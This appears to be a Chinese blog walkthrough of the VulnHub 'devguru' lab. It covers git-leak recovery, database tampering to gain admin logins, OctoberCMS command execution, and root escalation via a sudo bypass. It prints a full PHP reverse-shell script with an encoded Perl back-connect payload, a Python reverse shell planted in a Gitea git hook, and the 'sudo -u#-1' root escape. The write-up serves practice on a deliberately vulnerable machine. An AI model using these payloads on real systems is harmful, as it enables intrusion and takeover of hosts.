vulnhub靶場—devguru


甲、前言

靶場地址:https://www.vulnhub.com/entry/devguru-1,620/

難度:中級

 

devguru是我做的第二個vulnhub靶場,實在是由於個人對linux提權的了解實在匱乏。但思前想后還是點擊了下載按鈕,這便有了這次小白向過關教程。

 

乙、信息搜集

 

1609398808_5fed7a18d9b6b87056a26.png!small?1609398812797

開機后上來就是一通掃,很快啊。

  • namp

好家伙直接到手8585端口gitea登陸頁面。

http://172.31.131.206:8585/user/login                gitea登錄

 

  • dirsearch掃描目錄

http://172.31.131.206/adminer.php        sql登錄頁面

http://172.31.131.206/.git/index

http://172.31.131.206/.git/HEAD

http://172.31.131.206/.git/config

http://172.31.131.206/refs/heads/master

 

中間件為Octobercms,百度搜集登陸地址為

http://172.31.131.206/backend/backend/auth/signin              Octobercms登錄

 

上來就收獲三個登錄框。我不禁理解了皇上晚上翻拍時的無奈,這該如何選擇呢。

正在這內心交戰時刻,突然看到一個水靈的宮女緩緩從身邊走過入了園內,探頭望去園內竟然是一片旖旎之色,一覽無余。原來這宮女名為’計嬡悌‘,是內宮里有名的小鴇,靠替人引路來謀生。不妨前去一探究竟。

  • git-dumper

.git可以嘗試git泄露,來獲取文件

項目地址:

https://github.com/arthaud/git-dumper

獲取到如下文件

1609398928_5fed7a9079db7b6e9797a.png!small?1609398927595

查看配置文件找到數據庫信息。

1609398943_5fed7a9f1a9a4865cbd7f.png!small?1609398942100

丙、獲取shellx01

在這衣帶漸寬之刻,哪有不入之道理?

訪問http://172.31.131.206/adminer.php進行登錄

1609398993_5fed7ad11da79677f64c7.png!small?1609398992171

嘗試解密frank密碼,但用john解密失敗。

這里轉變思路,新建用戶並且分配管理員權限來登陸系統。

新建用戶aaa

進去后發現權限不夠,新建userid為2,group_id為1的組數據。

1609399026_5fed7af29f414fce12634.png!small?1609399025645

登錄成功

我giao,竟然在這關鍵時刻沒有小外套(shell)(手動滑稽

 

查找octobercms的漏洞,發現有上傳點和新建webshell文件漏洞,但都修復了無法利用。

后來在外網找到相關的利用方式,編輯home文件,然后訪問時get傳參來執行shell。

1609725405_5ff275dd4968ec0855e88.png!small訪問主頁,http://172.31.131.206/?cmd=id

直接執行bash反彈和python反彈都無用,在本地搭建web,上傳構造的php文件,執行下載操作,獲取webshell。

這里可以直接上傳哥斯拉php,也可以上傳php反彈shell文件。

這里附上mdxy-dxy的php反彈shell碼

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

 

Php反彈

哥斯拉

嘗試提權,奈何技術太菜,沒門路。

繼續獲取其他登錄頁面賬戶密碼信息,只剩下gitea的了。

 

丁、獲取shellx02

哼,無趣

果然么,到了這一步還是要去找“計嬡悌”領取小外套,這次怕是得脫層皮了

獲取gitea數據庫密碼

登陸后查看表信息

密碼是加密的,理論上可以在源碼上找到加密方式,來編寫解密代碼,但本人代碼能力太菜,就按最無腦的方法來做了。本地搭gitea,然后復制加密后的密碼。

本地搭建gitea(參考:https://docs.gitea.io/zh-cn/database-prep/),設置賬戶密碼。123456

sql語句如下
(`id`, `lower_name`, `name`, `full_name`, `email`, `keep_email_private`, `email_notifications_preference`, `passwd`, `passwd_hash_algo`, `must_change_password`, `login_type`, `login_source`, `login_name`, `type`, `location`, `website`, `rands`, `salt`, `language`, `description`, `created_unix`, `updated_unix`, `last_login_unix`, `last_repo_visibility`, `max_repo_creation`, `is_active`, `is_admin`, `is_restricted`, `allow_git_hook`, `allow_import_local`, `allow_create_organization`, `prohibit_login`, `avatar`, `avatar_email`, `use_custom_avatar`, `num_followers`, `num_following`, `num_stars`, `num_repos`, `num_teams`, `num_members`, `visibility`, `repo_admin_change_team_access`, `diff_view_style`, `theme`, `keep_activity_private`) VALUES
(1, '123', '123', '', '123@qq.com', 0, 'enabled', '9d5bbc4a2ab4b20d893be05f9f1299444891dee8945dff50c93be9af174dae68a527d1851d136bcbcdf86fc3e0da9b9981e2', 'argon2', 0, 0, 0, '', 0, '', '', '2NazllYHad', 'H2MRF5mpEj', '', '', 1608889331, 1608889904, 0, 0, -1, 1, 1, 0, 0, 0, 1, 0, '', '123@qq.com', 0, 0, 0, 0, 0, 0, 0, 0, 0, '', 'gitea', 0);

 

起初只復制了passwd,結果登陸不上,搜索后發現密碼生成和salt、hash_algo有關,就直接復制本地表內容覆蓋原內容了。保存后成功利用修改后的密碼登錄gitea

開始在gitea中getshell。

編輯git hook,添加以下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

 

至於這里為什么是python3,因為在webshell中查到安裝的是python3

這里通過python反彈shell

提交項目更改信息,反彈frank用戶shell

戊、提權

經過辛勞奮戰,終於從“計嬡悌”手中奪得了小外套。

下一步准備發射shell.

 

內核漏洞提權,查無此漏洞

SUID 提權,沒有給出建議

查看sudo權限下用戶

在https://gtfobins.github.io/上查詢linux下關於sqlite3的提權漏洞

用戶使用sudo時會要求輸入密碼,這個無解。靈機一動,查看sudo版本,搜索

啊,靈感來了,走你

Sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

 

酥服了!!

 

己、總結:

1.就這個靶場而言,每個小關卡都很有意思(可能只有我這種菜雞才覺得有意思)。權限提升不一定要一步到位,也可能需要你慢慢琢磨,從一個平台跳到另一個平台,逐步提權.

2.代碼審計很重要,如果能從git項目中找到加密代碼來進行解密,就不需要去花費時間搭啥gitea。

3.“面向搜索引擎”滲透雖然很可笑,但是小白成長到大佬的必備過程,多從外網找找答案。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM